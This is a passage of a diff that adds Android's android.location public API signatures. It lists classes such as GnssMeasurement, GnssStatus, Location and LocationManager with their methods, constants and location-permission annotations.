+    field @NonNull public static final android.os.Parcelable.Creator<android.location.Criteria> CREATOR;
+    field public static final int NO_REQUIREMENT = 0; // 0x0
+    field public static final int POWER_HIGH = 3; // 0x3
+    field public static final int POWER_LOW = 1; // 0x1
+    field public static final int POWER_MEDIUM = 2; // 0x2
+  }
+
+  public final class Geocoder {
+    ctor public Geocoder(android.content.Context, java.util.Locale);
+    ctor public Geocoder(android.content.Context);
+    method public java.util.List<android.location.Address> getFromLocation(double, double, int) throws java.io.IOException;
+    method public java.util.List<android.location.Address> getFromLocationName(String, int) throws java.io.IOException;
+    method public java.util.List<android.location.Address> getFromLocationName(String, int, double, double, double, double) throws java.io.IOException;
+    method public static boolean isPresent();
+  }
+
+  public final class GnssAntennaInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @FloatRange(from=0.0f) public double getCarrierFrequencyMHz();
+    method @NonNull public android.location.GnssAntennaInfo.PhaseCenterOffset getPhaseCenterOffset();
+    method @Nullable public android.location.GnssAntennaInfo.SphericalCorrections getPhaseCenterVariationCorrections();
+    method @Nullable public android.location.GnssAntennaInfo.SphericalCorrections getSignalGainCorrections();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssAntennaInfo> CREATOR;
+  }
+
+  public static class GnssAntennaInfo.Builder {
+    ctor @Deprecated public GnssAntennaInfo.Builder();
+    ctor public GnssAntennaInfo.Builder(double, @NonNull android.location.GnssAntennaInfo.PhaseCenterOffset);
+    ctor public GnssAntennaInfo.Builder(@NonNull android.location.GnssAntennaInfo);
+    method @NonNull public android.location.GnssAntennaInfo build();
+    method @NonNull public android.location.GnssAntennaInfo.Builder setCarrierFrequencyMHz(@FloatRange(from=0.0f) double);
+    method @NonNull public android.location.GnssAntennaInfo.Builder setPhaseCenterOffset(@NonNull android.location.GnssAntennaInfo.PhaseCenterOffset);
+    method @NonNull public android.location.GnssAntennaInfo.Builder setPhaseCenterVariationCorrections(@Nullable android.location.GnssAntennaInfo.SphericalCorrections);
+    method @NonNull public android.location.GnssAntennaInfo.Builder setSignalGainCorrections(@Nullable android.location.GnssAntennaInfo.SphericalCorrections);
+  }
+
+  public static interface GnssAntennaInfo.Listener {
+    method public void onGnssAntennaInfoReceived(@NonNull java.util.List<android.location.GnssAntennaInfo>);
+  }
+
+  public static final class GnssAntennaInfo.PhaseCenterOffset implements android.os.Parcelable {
+    ctor public GnssAntennaInfo.PhaseCenterOffset(double, double, double, double, double, double);
+    method public int describeContents();
+    method @FloatRange public double getXOffsetMm();
+    method @FloatRange public double getXOffsetUncertaintyMm();
+    method @FloatRange public double getYOffsetMm();
+    method @FloatRange public double getYOffsetUncertaintyMm();
+    method @FloatRange public double getZOffsetMm();
+    method @FloatRange public double getZOffsetUncertaintyMm();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssAntennaInfo.PhaseCenterOffset> CREATOR;
+  }
+
+  public static final class GnssAntennaInfo.SphericalCorrections implements android.os.Parcelable {
+    ctor public GnssAntennaInfo.SphericalCorrections(@NonNull double[][], @NonNull double[][]);
+    method public int describeContents();
+    method @NonNull public double[][] getCorrectionUncertaintiesArray();
+    method @NonNull public double[][] getCorrectionsArray();
+    method @FloatRange(from=0.0f, to=180.0f) public double getDeltaPhi();
+    method @FloatRange(from=0.0f, to=360.0f) public double getDeltaTheta();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssAntennaInfo.SphericalCorrections> CREATOR;
+  }
+
+  public final class GnssCapabilities implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean hasAntennaInfo();
+    method @Deprecated public boolean hasGnssAntennaInfo();
+    method public boolean hasMeasurements();
+    method public boolean hasNavigationMessages();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssCapabilities> CREATOR;
+  }
+
+  public static final class GnssCapabilities.Builder {
+    ctor public GnssCapabilities.Builder();
+    ctor public GnssCapabilities.Builder(@NonNull android.location.GnssCapabilities);
+    method @NonNull public android.location.GnssCapabilities build();
+    method @NonNull public android.location.GnssCapabilities.Builder setHasAntennaInfo(boolean);
+    method @NonNull public android.location.GnssCapabilities.Builder setHasMeasurements(boolean);
+    method @NonNull public android.location.GnssCapabilities.Builder setHasNavigationMessages(boolean);
+  }
+
+  public final class GnssClock implements android.os.Parcelable {
+    method public int describeContents();
+    method public double getBiasNanos();
+    method @FloatRange(from=0.0f) public double getBiasUncertaintyNanos();
+    method public double getDriftNanosPerSecond();
+    method @FloatRange(from=0.0f) public double getDriftUncertaintyNanosPerSecond();
+    method public long getElapsedRealtimeNanos();
+    method @FloatRange(from=0.0f) public double getElapsedRealtimeUncertaintyNanos();
+    method public long getFullBiasNanos();
+    method public int getHardwareClockDiscontinuityCount();
+    method public int getLeapSecond();
+    method @FloatRange(from=0.0) public double getReferenceCarrierFrequencyHzForIsb();
+    method @NonNull public String getReferenceCodeTypeForIsb();
+    method public int getReferenceConstellationTypeForIsb();
+    method public long getTimeNanos();
+    method @FloatRange(from=0.0f) public double getTimeUncertaintyNanos();
+    method public boolean hasBiasNanos();
+    method public boolean hasBiasUncertaintyNanos();
+    method public boolean hasDriftNanosPerSecond();
+    method public boolean hasDriftUncertaintyNanosPerSecond();
+    method public boolean hasElapsedRealtimeNanos();
+    method public boolean hasElapsedRealtimeUncertaintyNanos();
+    method public boolean hasFullBiasNanos();
+    method public boolean hasLeapSecond();
+    method public boolean hasReferenceCarrierFrequencyHzForIsb();
+    method public boolean hasReferenceCodeTypeForIsb();
+    method public boolean hasReferenceConstellationTypeForIsb();
+    method public boolean hasTimeUncertaintyNanos();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssClock> CREATOR;
+  }
+
+  public final class GnssMeasurement implements android.os.Parcelable {
+    method public int describeContents();
+    method public double getAccumulatedDeltaRangeMeters();
+    method public int getAccumulatedDeltaRangeState();
+    method public double getAccumulatedDeltaRangeUncertaintyMeters();
+    method public double getAutomaticGainControlLevelDb();
+    method @FloatRange(from=0, to=63) public double getBasebandCn0DbHz();
+    method @Deprecated public long getCarrierCycles();
+    method public float getCarrierFrequencyHz();
+    method @Deprecated public double getCarrierPhase();
+    method @Deprecated public double getCarrierPhaseUncertainty();
+    method @FloatRange(from=0, to=63) public double getCn0DbHz();
+    method @NonNull public String getCodeType();
+    method public int getConstellationType();
+    method public double getFullInterSignalBiasNanos();
+    method @FloatRange(from=0.0) public double getFullInterSignalBiasUncertaintyNanos();
+    method public int getMultipathIndicator();
+    method public double getPseudorangeRateMetersPerSecond();
+    method public double getPseudorangeRateUncertaintyMetersPerSecond();
+    method public long getReceivedSvTimeNanos();
+    method public long getReceivedSvTimeUncertaintyNanos();
+    method public double getSatelliteInterSignalBiasNanos();
+    method @FloatRange(from=0.0) public double getSatelliteInterSignalBiasUncertaintyNanos();
+    method public double getSnrInDb();
+    method public int getState();
+    method public int getSvid();
+    method public double getTimeOffsetNanos();
+    method public boolean hasAutomaticGainControlLevelDb();
+    method public boolean hasBasebandCn0DbHz();
+    method @Deprecated public boolean hasCarrierCycles();
+    method public boolean hasCarrierFrequencyHz();
+    method @Deprecated public boolean hasCarrierPhase();
+    method @Deprecated public boolean hasCarrierPhaseUncertainty();
+    method public boolean hasCodeType();
+    method public boolean hasFullInterSignalBiasNanos();
+    method public boolean hasFullInterSignalBiasUncertaintyNanos();
+    method public boolean hasSatelliteInterSignalBiasNanos();
+    method public boolean hasSatelliteInterSignalBiasUncertaintyNanos();
+    method public boolean hasSnrInDb();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ADR_STATE_CYCLE_SLIP = 4; // 0x4
+    field public static final int ADR_STATE_HALF_CYCLE_REPORTED = 16; // 0x10
+    field public static final int ADR_STATE_HALF_CYCLE_RESOLVED = 8; // 0x8
+    field public static final int ADR_STATE_RESET = 2; // 0x2
+    field public static final int ADR_STATE_UNKNOWN = 0; // 0x0
+    field public static final int ADR_STATE_VALID = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssMeasurement> CREATOR;
+    field public static final int MULTIPATH_INDICATOR_DETECTED = 1; // 0x1
+    field public static final int MULTIPATH_INDICATOR_NOT_DETECTED = 2; // 0x2
+    field public static final int MULTIPATH_INDICATOR_UNKNOWN = 0; // 0x0
+    field public static final int STATE_2ND_CODE_LOCK = 65536; // 0x10000
+    field public static final int STATE_BDS_D2_BIT_SYNC = 256; // 0x100
+    field public static final int STATE_BDS_D2_SUBFRAME_SYNC = 512; // 0x200
+    field public static final int STATE_BIT_SYNC = 2; // 0x2
+    field public static final int STATE_CODE_LOCK = 1; // 0x1
+    field public static final int STATE_GAL_E1BC_CODE_LOCK = 1024; // 0x400
+    field public static final int STATE_GAL_E1B_PAGE_SYNC = 4096; // 0x1000
+    field public static final int STATE_GAL_E1C_2ND_CODE_LOCK = 2048; // 0x800
+    field public static final int STATE_GLO_STRING_SYNC = 64; // 0x40
+    field public static final int STATE_GLO_TOD_DECODED = 128; // 0x80
+    field public static final int STATE_GLO_TOD_KNOWN = 32768; // 0x8000
+    field public static final int STATE_MSEC_AMBIGUOUS = 16; // 0x10
+    field public static final int STATE_SBAS_SYNC = 8192; // 0x2000
+    field public static final int STATE_SUBFRAME_SYNC = 4; // 0x4
+    field public static final int STATE_SYMBOL_SYNC = 32; // 0x20
+    field public static final int STATE_TOW_DECODED = 8; // 0x8
+    field public static final int STATE_TOW_KNOWN = 16384; // 0x4000
+    field public static final int STATE_UNKNOWN = 0; // 0x0
+  }
+
+  public final class GnssMeasurementRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean isFullTracking();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssMeasurementRequest> CREATOR;
+  }
+
+  public static final class GnssMeasurementRequest.Builder {
+    ctor public GnssMeasurementRequest.Builder();
+    ctor public GnssMeasurementRequest.Builder(@NonNull android.location.GnssMeasurementRequest);
+    method @NonNull public android.location.GnssMeasurementRequest build();
+    method @NonNull public android.location.GnssMeasurementRequest.Builder setFullTracking(boolean);
+  }
+
+  public final class GnssMeasurementsEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.location.GnssClock getClock();
+    method @NonNull public java.util.Collection<android.location.GnssMeasurement> getMeasurements();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssMeasurementsEvent> CREATOR;
+  }
+
+  public abstract static class GnssMeasurementsEvent.Callback {
+    ctor public GnssMeasurementsEvent.Callback();
+    method public void onGnssMeasurementsReceived(android.location.GnssMeasurementsEvent);
+    method @Deprecated public void onStatusChanged(int);
+    field @Deprecated public static final int STATUS_LOCATION_DISABLED = 2; // 0x2
+    field @Deprecated public static final int STATUS_NOT_ALLOWED = 3; // 0x3
+    field @Deprecated public static final int STATUS_NOT_SUPPORTED = 0; // 0x0
+    field @Deprecated public static final int STATUS_READY = 1; // 0x1
+  }
+
+  public final class GnssNavigationMessage implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public byte[] getData();
+    method @IntRange(from=0xffffffff, to=120) public int getMessageId();
+    method public int getStatus();
+    method @IntRange(from=1) public int getSubmessageId();
+    method @IntRange(from=1, to=200) public int getSvid();
+    method public int getType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssNavigationMessage> CREATOR;
+    field public static final int STATUS_PARITY_PASSED = 1; // 0x1
+    field public static final int STATUS_PARITY_REBUILT = 2; // 0x2
+    field public static final int STATUS_UNKNOWN = 0; // 0x0
+    field public static final int TYPE_BDS_CNAV1 = 1283; // 0x503
+    field public static final int TYPE_BDS_CNAV2 = 1284; // 0x504
+    field public static final int TYPE_BDS_D1 = 1281; // 0x501
+    field public static final int TYPE_BDS_D2 = 1282; // 0x502
+    field public static final int TYPE_GAL_F = 1538; // 0x602
+    field public static final int TYPE_GAL_I = 1537; // 0x601
+    field public static final int TYPE_GLO_L1CA = 769; // 0x301
+    field public static final int TYPE_GPS_CNAV2 = 260; // 0x104
+    field public static final int TYPE_GPS_L1CA = 257; // 0x101
+    field public static final int TYPE_GPS_L2CNAV = 258; // 0x102
+    field public static final int TYPE_GPS_L5CNAV = 259; // 0x103
+    field public static final int TYPE_IRN_L5CA = 1793; // 0x701
+    field public static final int TYPE_QZS_L1CA = 1025; // 0x401
+    field public static final int TYPE_SBS = 513; // 0x201
+    field public static final int TYPE_UNKNOWN = 0; // 0x0
+  }
+
+  public abstract static class GnssNavigationMessage.Callback {
+    ctor public GnssNavigationMessage.Callback();
+    method public void onGnssNavigationMessageReceived(android.location.GnssNavigationMessage);
+    method @Deprecated public void onStatusChanged(int);
+    field @Deprecated public static final int STATUS_LOCATION_DISABLED = 2; // 0x2
+    field @Deprecated public static final int STATUS_NOT_SUPPORTED = 0; // 0x0
+    field @Deprecated public static final int STATUS_READY = 1; // 0x1
+  }
+
+  public final class GnssStatus implements android.os.Parcelable {
+    method public int describeContents();
+    method @FloatRange(from=0, to=360) public float getAzimuthDegrees(@IntRange(from=0) int);
+    method @FloatRange(from=0, to=63) public float getBasebandCn0DbHz(@IntRange(from=0) int);
+    method @FloatRange(from=0) public float getCarrierFrequencyHz(@IntRange(from=0) int);
+    method @FloatRange(from=0, to=63) public float getCn0DbHz(@IntRange(from=0) int);
+    method public int getConstellationType(@IntRange(from=0) int);
+    method @FloatRange(from=0xffffffa6, to=90) public float getElevationDegrees(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getSatelliteCount();
+    method @IntRange(from=1, to=200) public int getSvid(@IntRange(from=0) int);
+    method public boolean hasAlmanacData(@IntRange(from=0) int);
+    method public boolean hasBasebandCn0DbHz(@IntRange(from=0) int);
+    method public boolean hasCarrierFrequencyHz(@IntRange(from=0) int);
+    method public boolean hasEphemerisData(@IntRange(from=0) int);
+    method public boolean usedInFix(@IntRange(from=0) int);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int CONSTELLATION_BEIDOU = 5; // 0x5
+    field public static final int CONSTELLATION_GALILEO = 6; // 0x6
+    field public static final int CONSTELLATION_GLONASS = 3; // 0x3
+    field public static final int CONSTELLATION_GPS = 1; // 0x1
+    field public static final int CONSTELLATION_IRNSS = 7; // 0x7
+    field public static final int CONSTELLATION_QZSS = 4; // 0x4
+    field public static final int CONSTELLATION_SBAS = 2; // 0x2
+    field public static final int CONSTELLATION_UNKNOWN = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.GnssStatus> CREATOR;
+  }
+
+  public static final class GnssStatus.Builder {
+    ctor public GnssStatus.Builder();
+    method @NonNull public android.location.GnssStatus.Builder addSatellite(int, @IntRange(from=1, to=200) int, @FloatRange(from=0, to=63) float, @FloatRange(from=0xffffffa6, to=90) float, @FloatRange(from=0, to=360) float, boolean, boolean, boolean, boolean, @FloatRange(from=0) float, boolean, @FloatRange(from=0, to=63) float);
+    method @NonNull public android.location.GnssStatus build();
+    method @NonNull public android.location.GnssStatus.Builder clearSatellites();
+  }
+
+  public abstract static class GnssStatus.Callback {
+    ctor public GnssStatus.Callback();
+    method public void onFirstFix(int);
+    method public void onSatelliteStatusChanged(@NonNull android.location.GnssStatus);
+    method public void onStarted();
+    method public void onStopped();
+  }
+
+  @Deprecated public final class GpsSatellite {
+    method @Deprecated public float getAzimuth();
+    method @Deprecated public float getElevation();
+    method @Deprecated public int getPrn();
+    method @Deprecated public float getSnr();
+    method @Deprecated public boolean hasAlmanac();
+    method @Deprecated public boolean hasEphemeris();
+    method @Deprecated public boolean usedInFix();
+  }
+
+  @Deprecated public final class GpsStatus {
+    method @Deprecated @NonNull public static android.location.GpsStatus create(@NonNull android.location.GnssStatus, int);
+    method @Deprecated public int getMaxSatellites();
+    method @Deprecated public Iterable<android.location.GpsSatellite> getSatellites();
+    method @Deprecated public int getTimeToFirstFix();
+    field @Deprecated public static final int GPS_EVENT_FIRST_FIX = 3; // 0x3
+    field @Deprecated public static final int GPS_EVENT_SATELLITE_STATUS = 4; // 0x4
+    field @Deprecated public static final int GPS_EVENT_STARTED = 1; // 0x1
+    field @Deprecated public static final int GPS_EVENT_STOPPED = 2; // 0x2
+  }
+
+  @Deprecated public static interface GpsStatus.Listener {
+    method @Deprecated public void onGpsStatusChanged(int);
+  }
+
+  @Deprecated public static interface GpsStatus.NmeaListener {
+    method @Deprecated public void onNmeaReceived(long, String);
+  }
+
+  public class Location implements android.os.Parcelable {
+    ctor public Location(String);
+    ctor public Location(android.location.Location);
+    method public float bearingTo(android.location.Location);
+    method public static String convert(double, int);
+    method public static double convert(String);
+    method public int describeContents();
+    method public static void distanceBetween(double, double, double, double, float[]);
+    method public float distanceTo(android.location.Location);
+    method public void dump(android.util.Printer, String);
+    method public float getAccuracy();
+    method public double getAltitude();
+    method public float getBearing();
+    method public float getBearingAccuracyDegrees();
+    method public long getElapsedRealtimeNanos();
+    method public double getElapsedRealtimeUncertaintyNanos();
+    method public android.os.Bundle getExtras();
+    method public double getLatitude();
+    method public double getLongitude();
+    method public String getProvider();
+    method public float getSpeed();
+    method public float getSpeedAccuracyMetersPerSecond();
+    method public long getTime();
+    method public float getVerticalAccuracyMeters();
+    method public boolean hasAccuracy();
+    method public boolean hasAltitude();
+    method public boolean hasBearing();
+    method public boolean hasBearingAccuracy();
+    method public boolean hasElapsedRealtimeUncertaintyNanos();
+    method public boolean hasSpeed();
+    method public boolean hasSpeedAccuracy();
+    method public boolean hasVerticalAccuracy();
+    method @Deprecated public boolean isFromMockProvider();
+    method public boolean isMock();
+    method @Deprecated public void removeAccuracy();
+    method @Deprecated public void removeAltitude();
+    method @Deprecated public void removeBearing();
+    method @Deprecated public void removeSpeed();
+    method public void reset();
+    method public void set(android.location.Location);
+    method public void setAccuracy(float);
+    method public void setAltitude(double);
+    method public void setBearing(float);
+    method public void setBearingAccuracyDegrees(float);
+    method public void setElapsedRealtimeNanos(long);
+    method public void setElapsedRealtimeUncertaintyNanos(double);
+    method public void setExtras(@Nullable android.os.Bundle);
+    method public void setLatitude(double);
+    method public void setLongitude(double);
+    method public void setMock(boolean);
+    method public void setProvider(String);
+    method public void setSpeed(float);
+    method public void setSpeedAccuracyMetersPerSecond(float);
+    method public void setTime(long);
+    method public void setVerticalAccuracyMeters(float);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.Location> CREATOR;
+    field public static final int FORMAT_DEGREES = 0; // 0x0
+    field public static final int FORMAT_MINUTES = 1; // 0x1
+    field public static final int FORMAT_SECONDS = 2; // 0x2
+  }
+
+  public interface LocationListener {
+    method public default void onFlushComplete(int);
+    method public void onLocationChanged(@NonNull android.location.Location);
+    method public default void onLocationChanged(@NonNull java.util.List<android.location.Location>);
+    method public default void onProviderDisabled(@NonNull String);
+    method public default void onProviderEnabled(@NonNull String);
+    method @Deprecated public default void onStatusChanged(String, int, android.os.Bundle);
+  }
+
+  public class LocationManager {
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean addGpsStatusListener(android.location.GpsStatus.Listener);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean addNmeaListener(@NonNull android.location.GpsStatus.NmeaListener);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean addNmeaListener(@NonNull android.location.OnNmeaMessageListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean addNmeaListener(@NonNull android.location.OnNmeaMessageListener, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean addNmeaListener(@NonNull java.util.concurrent.Executor, @NonNull android.location.OnNmeaMessageListener);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void addProximityAlert(double, double, float, long, @NonNull android.app.PendingIntent);
+    method public void addTestProvider(@NonNull String, boolean, boolean, boolean, boolean, boolean, boolean, boolean, int, int);
+    method public void addTestProvider(@NonNull String, @NonNull android.location.provider.ProviderProperties);
+    method public void addTestProvider(@NonNull String, @NonNull android.location.provider.ProviderProperties, @NonNull java.util.Set<java.lang.String>);
+    method @Deprecated public void clearTestProviderEnabled(@NonNull String);
+    method @Deprecated public void clearTestProviderLocation(@NonNull String);
+    method @Deprecated public void clearTestProviderStatus(@NonNull String);
+    method @NonNull public java.util.List<java.lang.String> getAllProviders();
+    method @Nullable public String getBestProvider(@NonNull android.location.Criteria, boolean);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void getCurrentLocation(@NonNull String, @Nullable android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.location.Location>);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void getCurrentLocation(@NonNull String, @NonNull android.location.LocationRequest, @Nullable android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.location.Location>);
+    method @Nullable public java.util.List<android.location.GnssAntennaInfo> getGnssAntennaInfos();
+    method @NonNull public android.location.GnssCapabilities getGnssCapabilities();
+    method @Nullable public String getGnssHardwareModelName();
+    method public int getGnssYearOfHardware();
+    method @Deprecated @Nullable @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public android.location.GpsStatus getGpsStatus(@Nullable android.location.GpsStatus);
+    method @Nullable @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public android.location.Location getLastKnownLocation(@NonNull String);
+    method @Deprecated @Nullable public android.location.LocationProvider getProvider(@NonNull String);
+    method @Nullable public android.location.provider.ProviderProperties getProviderProperties(@NonNull String);
+    method @NonNull public java.util.List<java.lang.String> getProviders(boolean);
+    method @NonNull public java.util.List<java.lang.String> getProviders(@NonNull android.location.Criteria, boolean);
+    method public boolean hasProvider(@NonNull String);
+    method public boolean isLocationEnabled();
+    method public boolean isProviderEnabled(@NonNull String);
+    method public boolean registerAntennaInfoListener(@NonNull java.util.concurrent.Executor, @NonNull android.location.GnssAntennaInfo.Listener);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssMeasurementsCallback(@NonNull android.location.GnssMeasurementsEvent.Callback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssMeasurementsCallback(@NonNull android.location.GnssMeasurementsEvent.Callback, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssMeasurementsCallback(@NonNull java.util.concurrent.Executor, @NonNull android.location.GnssMeasurementsEvent.Callback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssMeasurementsCallback(@NonNull android.location.GnssMeasurementRequest, @NonNull java.util.concurrent.Executor, @NonNull android.location.GnssMeasurementsEvent.Callback);
+    method @Deprecated public boolean registerGnssNavigationMessageCallback(@NonNull android.location.GnssNavigationMessage.Callback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssNavigationMessageCallback(@NonNull android.location.GnssNavigationMessage.Callback, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssNavigationMessageCallback(@NonNull java.util.concurrent.Executor, @NonNull android.location.GnssNavigationMessage.Callback);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssStatusCallback(@NonNull android.location.GnssStatus.Callback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssStatusCallback(@NonNull android.location.GnssStatus.Callback, @Nullable android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public boolean registerGnssStatusCallback(@NonNull java.util.concurrent.Executor, @NonNull android.location.GnssStatus.Callback);
+    method @Deprecated public void removeGpsStatusListener(android.location.GpsStatus.Listener);
+    method @Deprecated public void removeNmeaListener(@NonNull android.location.GpsStatus.NmeaListener);
+    method public void removeNmeaListener(@NonNull android.location.OnNmeaMessageListener);
+    method @RequiresPermission(anyOf={"android.permission.ACCESS_COARSE_LOCATION", "android.permission.ACCESS_FINE_LOCATION"}, apis="..22") public void removeProximityAlert(@NonNull android.app.PendingIntent);
+    method public void removeTestProvider(@NonNull String);
+    method @RequiresPermission(anyOf={"android.permission.ACCESS_COARSE_LOCATION", "android.permission.ACCESS_FINE_LOCATION"}, apis="..22") public void removeUpdates(@NonNull android.location.LocationListener);
+    method public void removeUpdates(@NonNull android.app.PendingIntent);
+    method public void requestFlush(@NonNull String, @NonNull android.location.LocationListener, int);
+    method public void requestFlush(@NonNull String, @NonNull android.app.PendingIntent, int);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, long, float, @NonNull android.location.LocationListener);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, long, float, @NonNull android.location.LocationListener, @Nullable android.os.Looper);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, long, float, @NonNull java.util.concurrent.Executor, @NonNull android.location.LocationListener);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(long, float, @NonNull android.location.Criteria, @NonNull android.location.LocationListener, @Nullable android.os.Looper);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(long, float, @NonNull android.location.Criteria, @NonNull java.util.concurrent.Executor, @NonNull android.location.LocationListener);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, long, float, @NonNull android.app.PendingIntent);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(long, float, @NonNull android.location.Criteria, @NonNull android.app.PendingIntent);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, @NonNull android.location.LocationRequest, @NonNull java.util.concurrent.Executor, @NonNull android.location.LocationListener);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestLocationUpdates(@NonNull String, @NonNull android.location.LocationRequest, @NonNull android.app.PendingIntent);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestSingleUpdate(@NonNull String, @NonNull android.location.LocationListener, @Nullable android.os.Looper);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestSingleUpdate(@NonNull android.location.Criteria, @NonNull android.location.LocationListener, @Nullable android.os.Looper);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestSingleUpdate(@NonNull String, @NonNull android.app.PendingIntent);
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_COARSE_LOCATION, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void requestSingleUpdate(@NonNull android.location.Criteria, @NonNull android.app.PendingIntent);
+    method public boolean sendExtraCommand(@NonNull String, @NonNull String, @Nullable android.os.Bundle);
+    method public void setTestProviderEnabled(@NonNull String, boolean);
+    method public void setTestProviderLocation(@NonNull String, @NonNull android.location.Location);
+    method @Deprecated public void setTestProviderStatus(@NonNull String, int, @Nullable android.os.Bundle, long);
+    method public void unregisterAntennaInfoListener(@NonNull android.location.GnssAntennaInfo.Listener);
+    method public void unregisterGnssMeasurementsCallback(@NonNull android.location.GnssMeasurementsEvent.Callback);
+    method public void unregisterGnssNavigationMessageCallback(@NonNull android.location.GnssNavigationMessage.Callback);
+    method public void unregisterGnssStatusCallback(@NonNull android.location.GnssStatus.Callback);
+    field public static final String ACTION_GNSS_CAPABILITIES_CHANGED = "android.location.action.GNSS_CAPABILITIES_CHANGED";
+    field public static final String EXTRA_GNSS_CAPABILITIES = "android.location.extra.GNSS_CAPABILITIES";
+    field public static final String EXTRA_LOCATION_ENABLED = "android.location.extra.LOCATION_ENABLED";
+    field public static final String EXTRA_PROVIDER_ENABLED = "android.location.extra.PROVIDER_ENABLED";
+    field public static final String EXTRA_PROVIDER_NAME = "android.location.extra.PROVIDER_NAME";
